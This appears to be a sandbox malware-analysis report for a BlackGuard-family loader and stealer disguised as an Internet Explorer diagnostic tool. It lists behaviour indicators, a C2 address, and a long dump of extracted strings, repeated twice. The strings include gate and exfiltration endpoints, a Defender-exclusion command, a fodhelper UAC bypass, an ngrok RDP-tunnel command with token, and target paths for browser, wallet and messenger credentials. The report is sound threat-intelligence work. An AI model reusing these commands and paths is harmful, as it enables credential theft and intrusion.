File name:

file

Full analysis: https://app.any.run/tasks/d7022c2d-cf2e-498a-950f-31875ae9dda6
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: May 22, 2023, 14:11:45
OS: Windows 7 Professional Service Pack 1 (build: 7601, 64 bit)
Tags:
opendir
loader
evasion
blackguard
stealer
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5:

E2CA6F8E77CBAA4A7ADF56242880A30C

SHA1:

3E97FEFEF460224557D2EF8671A66B82DD63D021

SHA256:

78A2F84F683C6764F5EFE5E083B538E944CDB645B2A0ED9EC968644F59AA460B

SSDEEP:

1536:/6TizBVEjB1904v70xbWlMjUUdIDfY+pn72VmUl4tIk6o9NbWNEqp01Zhi6Tiz:/6mzBjGKbS0cfPp25wNF71Zhi6mz

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Actions looks like stealing of personal data

      • iexplorer.exe (PID: 992)

    • BLACKGUARD detected by memory dumps

      • iexplorer.exe (PID: 992)

    • Steals credentials

      • iexplorer.exe (PID: 992)

    • Steals credentials from Web Browsers

      • iexplorer.exe (PID: 992)

    • Connects to the CnC server

      • iexplorer.exe (PID: 992)

    • Application was dropped or rewritten from another process

      • iexplorer.exe (PID: 992)

  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • file.exe (PID: 2588)
      • iexplorer.exe (PID: 992)

    • Connects to the server without a host name

      • file.exe (PID: 2588)
      • iexplorer.exe (PID: 992)

    • Process requests binary or script from the Internet

      • file.exe (PID: 2588)
      • iexplorer.exe (PID: 992)

    • Reads the Internet Settings

      • iexplorer.exe (PID: 992)
      • file.exe (PID: 2588)

    • The process creates files with name similar to system file names

      • file.exe (PID: 2588)

    • Reads browser cookies

      • iexplorer.exe (PID: 992)

    • Checks for external IP

      • iexplorer.exe (PID: 992)

    • Accesses Microsoft Outlook profiles

      • iexplorer.exe (PID: 992)

  • INFO

    • Reads the computer name

      • file.exe (PID: 2588)
      • iexplorer.exe (PID: 992)

    • Checks supported languages

      • file.exe (PID: 2588)
      • iexplorer.exe (PID: 992)

    • Create files in a temporary directory

      • file.exe (PID: 2588)
      • iexplorer.exe (PID: 992)

    • The process checks LSA protection

      • iexplorer.exe (PID: 992)
      • file.exe (PID: 2588)

    • Reads Environment values

      • iexplorer.exe (PID: 992)
      • file.exe (PID: 2588)

    • Reads the machine GUID from the registry

      • iexplorer.exe (PID: 992)

    • Creates files or folders in the user directory

      • iexplorer.exe (PID: 992)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

BlackGuard

(PID) Process(992) iexplorer.exe
C2 (1)http://94.142.138.111
Strings (538)windows-1251
Microsoft Primitive Provider
ChainingModeGCM
AuthTagLength
ChainingMode
ObjectLength
KeyDataBlob
BCrypt.BCryptImportKey() failed with status code:{0}
BCrypt.BCryptGetProperty() (get size) failed with status code:{0}
BCrypt.BCryptGetProperty() failed with status code:{0}
UNIQUE
Unknown
false
true
null
JSON Parse: Too many closing brackets
JSON Parse: Quotation marks seems to be messed up.
BCrypt.BCryptDecrypt() (get size) failed with status code: {0}
BCrypt.BCryptDecrypt(): authentication tag mismatch
BCrypt.BCryptDecrypt() failed with status code:{0}
BCrypt.BCryptOpenAlgorithmProvider() failed with status code:{0}
BCrypt.BCryptSetAlgorithmProperty(BCrypt.BCRYPT_CHAINING_MODE, BCrypt.BCRYPT_CHAIN_MODE_GCM) failed with status code:{0}
/Browsers/cookies_Brave.txt
\\User Data\\Default
BraveSoftware\\Brave-Browser
\\Network\\Cookies
\Cookies
/Browsers/cookies_cryptotab.txt
CryptoTab Browser
/Browsers/cookies_chrome.txt
Google\\Chrome
Opera
\Opera Stable\Local State
\Local State
"encrypted_key":"(.*?)"
/Browsers/cookies_edge.txt
Microsoft\\Edge
/Browsers/cookies_edgebeta.txt
Microsoft\\Edge Beta
Local State
LocalPrefs.json
/Browsers/cookies_operaGX.txt
Opera Software\\Opera GX Stable
/Browsers/cookies_opera.txt
Opera Software\\Opera Stable
.tmpdb
SQLite format 3
Not a valid SQLite 3 Database File
Auto-vacuum capable database is not supported
table
.dat
/Browsers/cookies_vivaldi.txt
Vivaldi
Software\KUPLzOuut\
GATE
/ping.php?hwid=
POST
win32_logicaldisk.deviceid="
VolumeSerialNumber
SELECT * FROM Win32_OperatingSystem
Version
BIOS Maker: Unknown
\root\SecurityCenter2
Select * from AntivirusProduct
displayName
Not installed
cmd.exe
{AppData}
{UserProfile}
{Documents}
{ProgramFiles}
{Startup}
SbieDll.dll
SxIn.dll
Sf2.dll
snxhk.dll
cmdvrt32.dll
http://ip-api.com/json/
Worrld
ZNaality
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
GJWyfUU
"{0}"
Amp_sideliNaTrubeAupalaMpropalaCheOstalosNaTrube
powershell.exe -command Add-MpPreference -ExclusionPath C:\
SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin
PromptOnSecureDesktop
Software\Classes\
ms-settings\Shell\Open\command
Software\Classes\ms-settings\Shell\Open\command
DelegateExecute
C:\\windows\\system32\\fodhelper.exe
ms-settings
:\\Patch_1301.exe
IlalalalalalalalalaU
:\\autorun.inf
[AUTORUN]
icon=default
open=Patch_1301.exe
/concerts/disk.php
.exe
/concerts/memory.php
SH_VttEPS
/gate.php?hwid=
&os=
&av=
/loader.txt
/loader_v2.txt
Russia
Azerbaijan
Armenia
Belorus
Kazakhstan
Kyrgyzstan
Moldova
Tajikistan
Turkmenistan
Uzbekistan
Normal Task
/Browsers/
/Edge Betta_Wallet/
/Edge_Wallet/
/Chrome_Wallet/
/Messenger/
Select * From Win32_ComputerSystem
TotalPhysicalMemory
Error
root\CIMV2
SELECT * FROM Win32_VideoController
Name
\sysInformation.txt
ssfn*
\FileZilla\FileZilla.html
RecentServers
Server
WÎ>>
<html>
<head>
<title>HTML-Document</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<script src='https://ajax.googleapis.com/ajax/libs/jquery/3.1.0/jquery.min.js'></script>
<script>$(document).ready(function(){$('#kwd_search').keyup(function(){if ( $(this).val() != ''){$('#my-table tbody>tr').hide();$('#my-table td:contains-ci('' + $(this).val() + '')').parent('tr').show();}else{$('#my-table tbody>tr').show();}});});$.extend($.expr[':'],{'contains-ci': function(elem, i...
<style type='text/css'>td {border-bottom-style:solid;border-bottom-width:1px;}</style>
</head>
<body>
<br><br><br><br>
<label for='kwd_search'>Search:</label> <input type='text' id='kwd_search' value=''/>
<table style='width: 100%;margin: 0 auto;' id='my-table' border='1'>
<tbody style=''><tr style='background: black;color: white;border-collapse: collapse; '>
<td style='padding: 6px;'>Link</td>
<td style='padding: 6px;'>Port</td>
<td style='padding: 6px;'>Login</td>
<td style='padding: 6px;'>Password</td>
</tr>
<tr style='background: white;color: black;border: 1px solid black;'>
<td style='padding: 6px;'>
</td>
</body>
</html>
\\FileZilla\\recentservers.xml
\Roaming\
\FTP\WinSCP
WinSCP.ini
\FTP\WinSCP\WinSCP.ini
Hostname:
\\Temp\\dotnetbrowser-chromium\\64.0.3282.24.1.19.0.0.642\\32bit
\\Google\\Chrome\\User Data
\\Google(x86)\\Chrome\\User Data
\\MapleStudio\\ChromePlus\\User Data
\\Iridium\\User Data
\\7Star\\User Data
\\CentBrowser\\User Data
\\Chedot\\User Data
\\Vivaldi\\User Data
\\Kometa\\User Data
\\Elements Browser\\User Data
\\Epic Privacy Browser\\User Data
\\uCozMedia\\Uran\\User Data
\\Fenrir Inc\\Sleipnir5\\setting\\modules\\ChromiumViewer
\\CatalinaGroup\\Citrio\\User Data
\\Coowon\\Coowon\\User Data
\\liebao\\User Data
\\QIP Surf\\User Data
\\Orbitum\\User Data
\\Opera Software\\
\\Opera Software\\Opera GX Stable\\
\\Comodo\\Dragon\\User Data
\\Amigo\\User\\User Data
\\Torch\\User Data
\\Comodo\\User Data
\\360Browser\\Browser\\User Data
\\Maxthon3\\User Data
\\K-Melon\\User Data
\\Sputnik\\Sputnik\\User Data
\\Nichrome\\User Data
\\CocCoc\\Browser\\User Data
\\Uran\\User Data
\\Chromodo\\User Data
\Pidgin_INFo.html
<td style='padding: 6px;'>Protokol</td>
.purple\accounts.xml
ProtonVPN
ProtonVPN.exe
\user.config
\VPN\ProtonVPN
NordVPN
NordVpn.exe*
user.config
\VPN\NordVPN\
//setting[@name='User']/value
//setting[@name='Password']/value
\VPN\NordVPN\\accounts.txt
Uname:
Software
strDataDir
\wallets
Zcash
\Zcash
Armory
\Armory
Jaxx
\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb
Exodus
\Exodus\exodus.wallet
Ethereum
\Ethereum\keystore
Electrum
\Electrum\wallets
AtomicWallet
\atomic\Local Storage\leveldb
Guarda
\Guarda\Local Storage\leveldb
\Zap\Local Storage\leveldb
Binance
\Binance
atomic_qt
\atomic_qt\config
Frame
\Frame\Local Storage\leveldb
io.solarwallet.app
\io.solarwallet.app\Local Storage\leveldb
TokenPocket
\TokenPocket\Local Storage\leveldb
InfinityWallet
\InfinityWallet
Litecoin
Dash
Telegram
\Telegram Desktop\tdata
%appdata%
\Telegram
Telegram.exe
\tdata
\Telegram\
Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Software\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676
SMTP Email Address
SMTP Server
POP3 Server
POP3 User Name
SMTP User Name
NNTP Email Address
NNTP User Name
NNTP Server
IMAP Server
IMAP User Name
Email
HTTP User
HTTP Server URL
IMAP User
HTTPMail User Name
HTTPMail Server
SMTP User
POP3 Password2
IMAP Password2
NNTP Password2
HTTPMail Password2
SMTP Password2
POP3 Password
IMAP Password
NNTP Password
HTTPMail Password
SMTP Password
\Outlook.txt
Password
^([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})$
^(?!:\/\/)([a-zA-Z0-9-_]+\.)*[a-zA-Z0-9][a-zA-Z0-9-_]+\.[a-zA-Z]{2,11}?$
^(bc1|3|1)[123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz].*$
(?:^0x[a-fA-F0-9]{40}$)
(?:^4[0-9AB][1-9A-HJ-NP-Za-km-z]{93}$)
(?:^G[0-9a-zA-Z]{55}$)
(?:^r[0-9a-zA-Z]{24,34}$)
(?:^[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$)
(?:^A[0-9a-zA-Z]{33}$)
^((bitcoincash:)?(q|p)[a-z0-9]{41})
dash
(?:^X[1-9A-HJ-NP-Za-km-z]{33}$)
doge
\bD{1}[5-9A-HJ-NP-U]{1}[1-9A-HJ-NP-Za-km-z]{32}\b
zcash
\bt1[0-9A-z]{33}\b
\b(bnb)([a-z0-9]{39})\b
^T[a-zA-Z0-9]{28,33}$
\yREENfffhbn.lap
\hBStbrK.sven
MM/dd/yyyy h:mm
/frag.php?hwid=
&hrdp
http://ip-api.com/line/?fields=hosting
Snup.bat
SYSTEM\\CurrentControlSet\\Control\\Lsa
LimitBlankPasswordUse
SYSTEM\\CurrentControlSet\\Control\\Terminal Server
fDenyTSConnections
ngrok.exe
/software/ngrok.exe
vhttd.exe
powershell -window hidden -command
/ngrok.exe tcp 3389
/ngrok.exe config add-authtoken 2PDLmCpAc15rqXLc5UciTovK3D0_4ATiYujFG1vzipB7hfDgs
/vhttd.exe -i
/Snup.bat
].rar
cp866
GRINGer3301YY
SystemDrive
.bat
@echo off
timeout 7 > NUL
DEL "
" /f /q
/concerts/1.php
/concerts/2.php
/concerts/3.php
/concerts/4.php
/concerts/5.php
/concerts/6.php
/concerts/7.php
/concerts/8.php
/concerts/9.php
/concerts/10.php
/concerts/11.php
/concerts/12.php
/concerts/13.php
SELECT * FROM CIM_OperatingSystem
Caption
Windows 8
Windows 8.1
Windows 10
Windows 11
Windows XP
Windows 7
Windows Server
http://ipwhois.app/xml/
country
/cmd.php
https://ipwhois.app/xml/
sdfgfdel
szhtsds
ASchtDss
1111
.txt
.config
.docx
.doc
.rdp
*.txt
TovarishIDITeNahr.Properties.Resources
DebriTam
Snup
vhttd
\tox
Element
\Element
Miranda NG
\Miranda NG
Signal
\Signal
Adamant
\adamant-im
Wire
\Wire\Local Storage\leveldb
\WhatsApp
Vipole
\.vipole
Proxifier
\Proxifier4\Profiles
EdgeBETA_Auvitas
\Microsoft\Edge Beta\User Data\Default\Local Extension Settings\klfhbdnlcfcaccoakhceodhldjojboga\
EdgeBETA_Math
\Microsoft\Edge Beta\User Data\Default\Local Extension Settings\dfeccadlilpndjjohbjdblepmjeahlmm\
EdgeBETA_Metamask
\Microsoft\Edge Beta\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm\
EdgeBETA_MTV
\Microsoft\Edge Beta\User Data\Default\Local Extension Settings\oooiblbdpdlecigodndinbpfopomaegl\
EdgeBETA_Rabet
\Microsoft\Edge Beta\User Data\Default\Local Extension Settings\aanjhgiamnacdfnlfnmgehjikagdbafd\
EdgeBETA_Ronin
\Microsoft\Edge Beta\User Data\Default\Local Extension Settings\bblmcdckkhkhfhhpfcchlpalebmonecp\
EdgeBETA_Yoroi
\Microsoft\Edge Beta\User Data\Default\Local Extension Settings\akoiaibnepcedcplijmiamnaigbepmcb\
EdgeBETA_Zilpay
\Microsoft\Edge Beta\User Data\Default\Local Extension Settings\fbekallmnjoeggkefjkbebpineneilec\
EdgeBETA_Exodus
\Microsoft\Edge Beta\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\
EdgeBETA_Terra_Station
\Microsoft\Edge Beta\User Data\Default\Local Extension Settings\ajkhoeiiokighlmdnlakpjfoobnjinie\
EdgeBETA_Jaxx
Edge_Auvitas
\Microsoft\Edge\User Data\Default\Local Extension Settings\klfhbdnlcfcaccoakhceodhldjojboga\
Edge_Math
\Microsoft\Edge\User Data\Default\Local Extension Settings\dfeccadlilpndjjohbjdblepmjeahlmm\
Edge_Metamask
\Microsoft\Edge\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm\
Edge_MTV
\Microsoft\Edge\User Data\Default\Local Extension Settings\oooiblbdpdlecigodndinbpfopomaegl\
Edge_Rabet
\Microsoft\Edge\User Data\Default\Local Extension Settings\aanjhgiamnacdfnlfnmgehjikagdbafd\
Edge_Ronin
\Microsoft\Edge\User Data\Default\Local Extension Settings\bblmcdckkhkhfhhpfcchlpalebmonecp\
Edge_Yoroi
\Microsoft\Edge\User Data\Default\Local Extension Settings\akoiaibnepcedcplijmiamnaigbepmcb\
Edge_Zilpay
\Microsoft\Edge\User Data\Default\Local Extension Settings\fbekallmnjoeggkefjkbebpineneilec\
Edge_Exodus
\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\
Edge_Terra_Station
\Microsoft\Edge\User Data\Default\Local Extension Settings\ajkhoeiiokighlmdnlakpjfoobnjinie\
Edge_Jaxx
\Microsoft\Edge\User Data\Default\Local Extension Settings\dmdimapfghaakeibppbfeokhgoikeoci\
Chrome_Binance
\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp\
Chrome_Bitapp
\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi\
Chrome_Coin98
\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg\
Chrome_Equal
\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\
Chrome_Guild
\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj\
Chrome_Iconex
\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfel\
Chrome_Math
\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc\
Chrome_Mobox
\Google\Chrome\User Data\Default\Local Extension Settings\fcckkdbjnoikooededlapcalpionmalo\
Chrome_Phantom
\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa\
Chrome_Tron
\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec\
Chrome_XinPay
\Google\Chrome\User Data\Default\Local Extension Settings\bocpokimicclpaiekenaeelehdjllofo\
Chrome_Ton
\Google\Chrome\User Data\Default\Local Extension Settings\nphplpgoakhhjchkkhmiggakijnkhfnd\
Chrome_Metamask
Chrome_Sollet
\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno\
Chrome_Slope
\Google\Chrome\User Data\Default\Local Extension Settings\pocmplpaccanhmnllbbkpgfliimjljgo\
Chrome_Starcoin
\Google\Chrome\User Data\Default\Local Extension Settings\mfhbebgoclkghebffdldpobeajmbecfk\
Chrome_Swash
\Google\Chrome\User Data\Default\Local Extension Settings\cmndjbecilbocjfkibfbifhngkdmjgog\
Chrome_Finnie
\Google\Chrome\User Data\Default\Local Extension Settings\cjmkndjhnagcfbpiemnkdpomccnjblmj\
Chrome_Keplr
\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap\
Chrome_Crocobit
\Google\Chrome\User Data\Default\Local Extension Settings\pnlfjmlcjdjgkddecgincndfgegkecke\
Chrome_Oxygen
\Google\Chrome\User Data\Default\Local Extension Settings\fhilaheimglignddkjgofkcbgekhenbh\
Chrome_Nifty
\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid\
Chrome_Forbole X
\Google\Chrome\User Data\Default\Local Extension Settings\fmblappgoiilbgafhjklehhfifbdocee\
Chrome_SlopeWallet
Chrome_NaboxWallet
\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad\
Chrome_ONTOWallet
\Google\Chrome\User Data\Default\Local Extension Settings\ifckdpamphokdglkkdomedpdegcjhjdp\
Chrome_Goby
\Google\Chrome\User Data\Default\Local Extension Settings\jnkelfanjkeadonecabehalmbgpfodjm\
Chrome_FINX
\Google\Chrome\User Data\Default\Local Extension Settings\ejehodfgjhiadihgjdkgffciiepfdeep\
Chrome_Ale
\Google\Chrome\User Data\Default\Local Extension Settings\cflgahhmjlmnjbikhakapcfkpbcmllam\
Chrome_SenderWallet
\Google\Chrome\User Data\Default\Local Extension Settings\epapihdplajcdnnkdeiahlgigofloibg\
Chrome_LeapWallet
\Google\Chrome\User Data\Default\Local Extension Settings\aijcbedoijmgnlmjeegjaglmepbmpkpi\
Chrome_InfinityWallet
\Google\Chrome\User Data\Default\Local Extension Settings\jnldfbidonfeldmalbflbmlebbipcnle\
Chrome_Zecrey
\Google\Chrome\User Data\Default\Local Extension Settings\ojbpcbinjmochkhelkflddfnmcceomdi\
Chrome_MaiarWallet
\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm\
Chrome_FlintWallet
\Google\Chrome\User Data\Default\Local Extension Settings\hnhobjmcibchnmglfbldbfabcgaknlkj\
Chrome_Liquality
\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn\
Opera Software
\\Login Data
\\Web Data
\\History
\\Passwords.txt
\\AutoFill.txt
\\History.txt
\\Downloads.txt
logins
kernel32
ResumeThread
Wow64SetThreadContext
SetThreadContext
Wow64GetThreadContext
GetThreadContext
VirtualAllocEx
WriteProcessMemory
ReadProcessMemory
ntdll
ZwUnmapViewOfSection
CreateProcessA
.compressed
bouncycastle.crypto
costura.bouncycastle.crypto.dll.compressed
costura
costura.costura.dll.compressed
dotnetzip
costura.dotnetzip.dll.compressed
costura.dotnetzip.pdb.compressed
newtonsoft.json
costura.newtonsoft.json.dll.compressed
officialdevelopmentteam
costura.officialdevelopmentteam.dll.compressed
system.data.sqlite
costura.system.data.sqlite.dll.compressed
No Malware configuration.

TRiD

.exe | Generic CIL Executable (.NET, Mono, etc.) (82.9)
.dll | Win32 Dynamic Link Library (generic) (7.4)
.exe | Win32 Executable (generic) (5.1)
.exe | Generic Win/DOS Executable (2.2)
.exe | DOS Executable Generic (2.2)

EXIF

EXE

AssemblyVersion: 11.0.20348.1
ProductVersion: 11.0.20348.1
ProductName: Internet Explorer
OriginalFileName: IEDiagCmd.exe
LegalTrademarks: -
LegalCopyright: © Microsoft Corporation. All rights reserved.
InternalName: IEDiagCmd.exe
FileVersion: 11.0.20348.1
FileDescription: Diagnostics utility for Internet Explorer
CompanyName: Microsoft Corporation
Comments: -
CharacterSet: Unicode
LanguageCode: Neutral
FileSubtype: -
ObjectFileType: Executable application
FileOS: Win32
FileFlags: (none)
FileFlagsMask: 0x003f
ProductVersionNumber: 11.0.20348.1
FileVersionNumber: 11.0.20348.1
Subsystem: Windows GUI
SubsystemVersion: 6
ImageVersion: -
OSVersion: 4
EntryPoint: 0x540e
UninitializedDataSize: -
InitializedDataSize: 86016
CodeSize: 13824
LinkerVersion: 48
PEType: PE32
ImageFileCharacteristics: Executable, 32-bit
TimeStamp: 2061:08:11 20:54:40+00:00
MachineType: Intel 386 or later, and compatibles

Summary

Architecture: IMAGE_FILE_MACHINE_I386
Subsystem: IMAGE_SUBSYSTEM_WINDOWS_GUI
Compilation Date: 11-Aug-2061 20:54:40
Comments: -
CompanyName: Microsoft Corporation
FileDescription: Diagnostics utility for Internet Explorer
FileVersion: 11.0.20348.1
InternalName: IEDiagCmd.exe
LegalCopyright: © Microsoft Corporation. All rights reserved.
LegalTrademarks: -
OriginalFilename: IEDiagCmd.exe
ProductName: Internet Explorer
ProductVersion: 11.0.20348.1
Assembly Version: 11.0.20348.1

DOS Header

Magic number: MZ
Bytes on last page of file: 0x0090
Pages in file: 0x0003
Relocations: 0x0000
Size of header: 0x0004
Min extra paragraphs: 0x0000
Max extra paragraphs: 0xFFFF
Initial SS value: 0x0000
Initial SP value: 0x00B8
Checksum: 0x0000
Initial IP value: 0x0000
Initial CS value: 0x0000
Overlay number: 0x0000
OEM identifier: 0x0000
OEM information: 0x0000
Address of NE header: 0x00000080

PE Headers

Signature: PE
Machine: IMAGE_FILE_MACHINE_I386
Number of sections: 3
Time date stamp: 11-Aug-2061 20:54:40
Pointer to Symbol Table: 0x00000000
Number of symbols: 0
Size of Optional Header: 0x00E0
Characteristics:
  • IMAGE_FILE_32BIT_MACHINE
  • IMAGE_FILE_EXECUTABLE_IMAGE

Sections

Name
Virtual Address
Virtual Size
Raw Size
Charateristics
Entropy
.text
0x00002000
0x00003414
0x00003600
IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
6.42721
.rsrc
0x00006000
0x00014D68
0x00014E00
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
7.43814
.reloc
0x0001C000
0x0000000C
0x00000200
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
0.0815394

Resources

Title
Entropy
Size
Codepage
Language
Type
1
5.44619
4383
Latin 1 / Western European
UNKNOWN
RT_MANIFEST
2
6.04836
2216
Latin 1 / Western European
UNKNOWN
RT_ICON
3
4.94507
1736
Latin 1 / Western European
UNKNOWN
RT_ICON
4
4.59861
1384
Latin 1 / Western European
UNKNOWN
RT_ICON
5
7.99077
52577
Latin 1 / Western European
UNKNOWN
RT_ICON
6
5.16249
9640
Latin 1 / Western European
UNKNOWN
RT_ICON
7
5.41416
4264
Latin 1 / Western European
UNKNOWN
RT_ICON
8
4.77555
2440
Latin 1 / Western European
UNKNOWN
RT_ICON
9
5.58435
1128
Latin 1 / Western European
UNKNOWN
RT_ICON

Imports

mscoree.dll
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
33
Monitored processes
2
Malicious processes
2
Suspicious processes
0

Behavior graph

Click at the process to see the details
drop and start start file.exe #BLACKGUARD iexplorer.exe

Process information

PID
CMD
Path
Indicators
Parent process
992"C:\Users\admin\AppData\Local\Temp\iexplorer.exe" C:\Users\admin\AppData\Local\Temp\iexplorer.exe
file.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Diagnostics utility for Internet Explorer
Exit code:
0
Version:
11.0.20348.1
Modules
Images
c:\users\admin\appdata\local\temp\iexplorer.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\microsoft.net\framework64\v4.0.30319\mscoreei.dll
BlackGuard
(PID) Process(992) iexplorer.exe
C2 (1)http://94.142.138.111
Strings (538)windows-1251
Microsoft Primitive Provider
ChainingModeGCM
AuthTagLength
ChainingMode
ObjectLength
KeyDataBlob
BCrypt.BCryptImportKey() failed with status code:{0}
BCrypt.BCryptGetProperty() (get size) failed with status code:{0}
BCrypt.BCryptGetProperty() failed with status code:{0}
UNIQUE
Unknown
false
true
null
JSON Parse: Too many closing brackets
JSON Parse: Quotation marks seems to be messed up.
BCrypt.BCryptDecrypt() (get size) failed with status code: {0}
BCrypt.BCryptDecrypt(): authentication tag mismatch
BCrypt.BCryptDecrypt() failed with status code:{0}
BCrypt.BCryptOpenAlgorithmProvider() failed with status code:{0}
BCrypt.BCryptSetAlgorithmProperty(BCrypt.BCRYPT_CHAINING_MODE, BCrypt.BCRYPT_CHAIN_MODE_GCM) failed with status code:{0}
/Browsers/cookies_Brave.txt
\\User Data\\Default
BraveSoftware\\Brave-Browser
\\Network\\Cookies
\Cookies
/Browsers/cookies_cryptotab.txt
CryptoTab Browser
/Browsers/cookies_chrome.txt
Google\\Chrome
Opera
\Opera Stable\Local State
\Local State
"encrypted_key":"(.*?)"
/Browsers/cookies_edge.txt
Microsoft\\Edge
/Browsers/cookies_edgebeta.txt
Microsoft\\Edge Beta
Local State
LocalPrefs.json
/Browsers/cookies_operaGX.txt
Opera Software\\Opera GX Stable
/Browsers/cookies_opera.txt
Opera Software\\Opera Stable
.tmpdb
SQLite format 3
Not a valid SQLite 3 Database File
Auto-vacuum capable database is not supported
table
.dat
/Browsers/cookies_vivaldi.txt
Vivaldi
Software\KUPLzOuut\
GATE
/ping.php?hwid=
POST
win32_logicaldisk.deviceid="
VolumeSerialNumber
SELECT * FROM Win32_OperatingSystem
Version
BIOS Maker: Unknown
\root\SecurityCenter2
Select * from AntivirusProduct
displayName
Not installed
cmd.exe
{AppData}
{UserProfile}
{Documents}
{ProgramFiles}
{Startup}
SbieDll.dll
SxIn.dll
Sf2.dll
snxhk.dll
cmdvrt32.dll
http://ip-api.com/json/
Worrld
ZNaality
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
GJWyfUU
"{0}"
Amp_sideliNaTrubeAupalaMpropalaCheOstalosNaTrube
powershell.exe -command Add-MpPreference -ExclusionPath C:\
SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin
PromptOnSecureDesktop
Software\Classes\
ms-settings\Shell\Open\command
Software\Classes\ms-settings\Shell\Open\command
DelegateExecute
C:\\windows\\system32\\fodhelper.exe
ms-settings
:\\Patch_1301.exe
IlalalalalalalalalaU
:\\autorun.inf
[AUTORUN]
icon=default
open=Patch_1301.exe
/concerts/disk.php
.exe
/concerts/memory.php
SH_VttEPS
/gate.php?hwid=
&os=
&av=
/loader.txt
/loader_v2.txt
Russia
Azerbaijan
Armenia
Belorus
Kazakhstan
Kyrgyzstan
Moldova
Tajikistan
Turkmenistan
Uzbekistan
Normal Task
/Browsers/
/Edge Betta_Wallet/
/Edge_Wallet/
/Chrome_Wallet/
/Messenger/
Select * From Win32_ComputerSystem
TotalPhysicalMemory
Error
root\CIMV2
SELECT * FROM Win32_VideoController
Name
\sysInformation.txt
ssfn*
\FileZilla\FileZilla.html
RecentServers
Server
WÎ>>
<html>
<head>
<title>HTML-Document</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<script src='https://ajax.googleapis.com/ajax/libs/jquery/3.1.0/jquery.min.js'></script>
<script>$(document).ready(function(){$('#kwd_search').keyup(function(){if ( $(this).val() != ''){$('#my-table tbody>tr').hide();$('#my-table td:contains-ci('' + $(this).val() + '')').parent('tr').show();}else{$('#my-table tbody>tr').show();}});});$.extend($.expr[':'],{'contains-ci': function(elem, i...
<style type='text/css'>td {border-bottom-style:solid;border-bottom-width:1px;}</style>
</head>
<body>
<br><br><br><br>
<label for='kwd_search'>Search:</label> <input type='text' id='kwd_search' value=''/>
<table style='width: 100%;margin: 0 auto;' id='my-table' border='1'>
<tbody style=''><tr style='background: black;color: white;border-collapse: collapse; '>
<td style='padding: 6px;'>Link</td>
<td style='padding: 6px;'>Port</td>
<td style='padding: 6px;'>Login</td>
<td style='padding: 6px;'>Password</td>
</tr>
